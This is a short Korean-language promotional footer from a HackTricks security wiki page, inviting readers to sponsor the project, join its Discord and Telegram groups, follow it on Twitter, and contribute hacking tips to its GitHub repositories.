* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**

</details>
{% endhint %}